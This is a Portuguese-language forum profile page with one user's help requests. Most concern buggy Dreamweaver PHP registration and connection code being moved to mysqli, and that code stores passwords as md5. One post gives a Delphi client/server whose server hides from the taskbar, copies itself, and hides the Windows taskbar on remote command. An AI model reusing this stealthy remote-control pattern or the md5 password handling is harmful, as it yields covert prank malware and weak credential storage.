Ir para conteúdo
Fórum Script Brasil

bloodnick2015

Membros
  • Total de itens

    45
  • Registro em

  • Última visita

Posts postados por bloodnick2015

  1. Sim.

    parte php do cadastro_de_usuarios.php:

    <?php require_once('../Connections/pixels_conexao.php'); ?>
    <?php
    if (!function_exists("GetSQLValueString")) {
    function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") 
    {
      if (PHP_VERSION < 6) {
        $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;
      }
    
      $theValue = $mysqli->real_escape_string($theValue);
    
      switch ($theType) {
        case "text":
          $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
          break;    
        case "long":
        case "int":
          $theValue = ($theValue != "") ? intval($theValue) : "NULL";
          break;
        case "double":
          $theValue = ($theValue != "") ? doubleval($theValue) : "NULL";
          break;
        case "date":
          $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
          break;
        case "defined":
          $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
          break;
      }
      return $theValue;
    }
    }
    
    $editFormAction = $_SERVER['PHP_SELF'];
    if (isset($_SERVER['QUERY_STRING'])) {
      $editFormAction .= "?" . htmlentities($_SERVER['QUERY_STRING']);
    }
    
    if ((isset($_POST["MM_insert"])) && ($_POST["MM_insert"] == "form1")) {
      $insertSQL = sprintf("INSERT INTO pixels_usuarios (usu_nome, usu_email, usu_senha) VALUES (%s, %s, md5(%s))",
                           GetSQLValueString($_POST['usu_nome'], "text"),
                           GetSQLValueString($_POST['usu_email'], "text"),
                           GetSQLValueString($_POST['usu_senha'], "text"));
    
      $mysqli->select_db($database_pixels_conexao);
      $Result1 = $mysqli->query($insertSQL) or die($mysqli->error());
    
      $insertGoTo = "sucesso.php";
      if (isset($_SERVER['QUERY_STRING'])) {
        $insertGoTo .= (strpos($insertGoTo, '?')) ? "&" : "?";
        $insertGoTo .= $_SERVER['QUERY_STRING'];
      }
      header(sprintf("Location: %s", $insertGoTo));
    }
    ?>
    
  2. Estou tentando criar um cliente/servidor, só que quando rodo o executável do servidor da um erro: 

     

    imagem.png

    Lembrando que quando mudo o Active de false para true do IdTCPServer dá esse erro.

    O código do servidor:

    unit Unit1; 
    
    interface 
    
    uses 
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, 
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, IdBaseComponent, 
      IdComponent, IdCustomTCPServer, IdTCPServer, IdContext; 
    
    type 
      TForm1 = class(TForm) 
        mensagem: TIdTCPServer; 
        hidebar: TIdTCPServer; 
        Memo1: TMemo; 
        Memo2: TMemo; 
        procedure mensagemConnect(AContext: TIdContext); 
        procedure Memo1Change(Sender: TObject); 
        procedure hidebarConnect(AContext: TIdContext); 
        procedure Memo2Change(Sender: TObject); 
        procedure FormCreate(Sender: TObject); 
      private 
        { Private declarations } 
      public 
        { Public declarations } 
      end; 
    
    var 
      Form1: TForm1; 
    
    implementation 
    
    {$R *.dfm} 
    
    procedure TForm1.FormCreate(Sender: TObject); 
    type 
    TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall; 
    var 
    Handle: THandle; 
    RegisterServiceProcess: TRegisterServiceProcess; 
    a : String; 
    begin 
    //*** Nao aparece na barra *********************************************** 
    SetWindowLong(Application.Handle, GWL_EXSTYLE, 
    GetWindowLong(Application.Handle, GWL_EXSTYLE) or 
    WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW); 
    
    a := Application.ExeName; 
    If not FileExists('C:\') then 
      Begin 
        CopyFile(Pchar(a), Pchar('C:\'), False); 
      End; 
    
    end; 
    
    procedure TForm1.hidebarConnect(AContext: TIdContext); 
    begin 
    With AContext.Connection.IOHandler do 
      begin 
        Memo2.Lines.Add(Readln) 
      end; 
      memo2.Text := ''; 
    end; 
    
    procedure TForm1.Memo1Change(Sender: TObject); 
    var 
    a : string; 
    begin 
    a := memo1.Lines[0]; 
    ShowMessage(a); 
    end; 
    
    procedure TForm1.Memo2Change(Sender: TObject); 
    var 
    a : string; 
    begin 
    a := memo2.Lines[0]; 
      if a = 'esconder' then 
      ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE); 
      if a = 'mostrar' then 
      ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_RESTORE); 
    end; 
    
    procedure TForm1.mensagemConnect(AContext: TIdContext); 
    begin 
    With AContext.Connection.IOHandler do 
      begin 
        Memo1.Lines.Add(Readln) 
      end; 
      memo1.Text := ''; 
    end; 
    
    end.
    

    O código do cliente:

    unit Unit1; 
    
    interface 
    
    uses 
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, 
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, IdBaseComponent, 
      IdComponent, IdTCPConnection, IdTCPClient; 
    
    type 
      TForm1 = class(TForm) 
        GroupBox1: TGroupBox; 
        GroupBox2: TGroupBox; 
        GroupBox3: TGroupBox; 
        IP: TEdit; 
        Edit1: TEdit; 
        Button1: TButton; 
        ComboBox1: TComboBox; 
        Button2: TButton; 
        mensagem: TIdTCPClient; 
        hidebar: TIdTCPClient; 
        procedure Button1Click(Sender: TObject); 
        procedure mensagemConnected(Sender: TObject); 
        procedure Button2Click(Sender: TObject); 
        procedure hidebarConnected(Sender: TObject); 
      private 
        { Private declarations } 
      public 
        { Public declarations } 
      end; 
    
    var 
      Form1: TForm1; 
    
    implementation 
    
    {$R *.dfm} 
    
    procedure TForm1.Button1Click(Sender: TObject); 
    begin 
    mensagem.Host := IP.Text; 
    mensagem.Connect; 
    end; 
    
    procedure TForm1.Button2Click(Sender: TObject); 
    begin 
    hidebar.Host := Edit1.Text; 
    hidebar.Connect; 
    end; 
    
    procedure TForm1.hidebarConnected(Sender: TObject); 
    begin 
    With hidebar Do 
      Begin 
        WriteLn(Combobox1.Text); 
        Disconnect; 
      End; 
    end; 
    
    procedure TForm1.mensagemConnected(Sender: TObject); 
    begin 
    With mensagem Do 
      Begin 
        WriteLn(Edit1.Text); 
        Disconnect; 
      End; 
    end; 
    
    end.

     

  3. Opa coloquei errado, é estas mensagens agora:

     

    ddsdsdsdsdsds.png

    Mudei:

    Linha 10:   $theValue = function_exists("$mysqli->real_escape_string") ? $mysqli->real_escape_string($theValue) : $mysqli->escape_string($theValue);

    Linha 45: $mysqli->select_db($database_x_conexao, $x_conexao);

    Linha 46: $Result1 = $mysqli->query($insertSQL, $x_conexao) or die($mysqli->error());

  4. Agora quando mando cadastrar aparece:

    Cara acho que esse erros é problema do editor, pois foi ele que criou praticamente tudo em php.

     

    Sem título.png

    Linha 10:   $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue);

    Linha 45:  mysql_select_db($database_x_conexao, $x_conexao);

    Linha 46: $Result1 = mysql_query($insertSQL, $x_conexao) or die(mysql_error());

  5. Não, tem a ver com o código PHP. O Dreamweaver é apenas o IDE (editor) que usas para escrever o código. Faz assim:

    <?php
    $hostname_x_conexao = "localhost";
    $database_x_conexao = "x_bd";
    $username_x_conexao = "root";
    $password_x_conexao = "";
    $x_conexao = new mysqli($hostname_x_conexao, $username_x_conexao, $password_x_conexao, $database_x_conexao);
    $query = "SELECT * FROM `nome_tabela`";
    $resultado = $x_conexao->query($query);
    if (!$resultado)
    {
        echo "Não existem dados para a consulta executada.";
    }
    else
    {
        while ($row = $x_conexao->fetch_array(MYSQLI_ASSOC))
        {
            //acedes ao valor de cada campo da BD utilizando $row["nome_campo"]
        }
    }

     

    Ok, não aparece mais o erro com o arquivo conexão, mas aparece "Não existem dados para a consulta executada".

  6. Estou usando o Dreamweaver CS6 e ele criou pra mim um arquivo de conexão com o banco de dados:

    <?php
    # FileName="Connection_php_mysql.htm"
    # Type="MYSQL"
    # HTTP="true"
    $hostname_x_conexao = "localhost";
    $database_x_conexao = "x_bd";
    $username_x_conexao = "root";
    $password_x_conexao = "";
    $x_conexao = mysql_pconnect($hostname_xs_conexao, $username_x_conexao, $password_x_conexao) or trigger_error(mysql_error(),E_USER_ERROR); 
    ?>

    Só que quando rodo o site através do Wampserver na versão 5.5.12 do PHP dá uma mensagem de erro:

     

    16getyo.jpg

    Como o Dreamweaver CS6 pode criar algo obsoleto?

×
×
  • Criar Novo...